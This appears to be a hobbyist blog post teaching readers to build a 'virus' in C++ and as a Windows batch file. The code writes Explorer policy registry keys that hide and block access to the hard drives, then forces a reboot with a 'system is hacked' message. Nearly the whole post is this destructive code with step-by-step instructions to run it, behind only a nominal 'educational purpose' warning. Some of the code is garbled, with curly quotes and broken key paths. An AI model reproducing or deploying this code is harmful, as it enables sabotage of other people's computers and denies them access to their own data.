Create a Virus That Disable All Hard Disks


 In our previous posts we have taught you to make batch file virus. Now we will teach you to make a virus which will disable all the hard disks of your computer using C++ as well as batch file. Firstly I will give you a c++ program. As everyone isn’t aware of how to run C++ program. So for them I will give the same program in batch file. Copy the code in notepad.Save it as virus.bat.Run the batch file.Basic concept is same.
WARNING: RUN AT YOUR OWN RISK.
C++
1. Open any c++ editor.
2. Copy and paste the following code.
#include < windows.h > #include < fstream.h > #include < iostream.h > #include < string.h > #include < conio.h >int main() { ofstream write ( “C:\\WINDOWS\\system32\\DisableHDD.bat” ); /*opening or creating new file with .bat extension*/ write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”;
write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”;
 write<<“shutdown -r -c \”Sorry Your System is hacked by us!\” -f”<<“\n”;
write.close(); //close file
ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\DisableHDD.bat”,NULL,NULL,SW_SHOWNORMAL);
return 0;
}
3. Compile and run the program.
BATCH FILE VERSION
Below batch file contains the code that performs the similar job.
1. Open a notepad.
2. Copy and paste the following code.
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\nREG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\nshutdown -r -c \”Hahahhaha! Your system is hacked by TTH!\” -f
3. Save it as “DisableHDD.bat”.
4. Double click the batch file to activate the virus.
WARNING: For educational purpose only. Run the virus at YOUR OWN RISK.

0 comments :

Post a Comment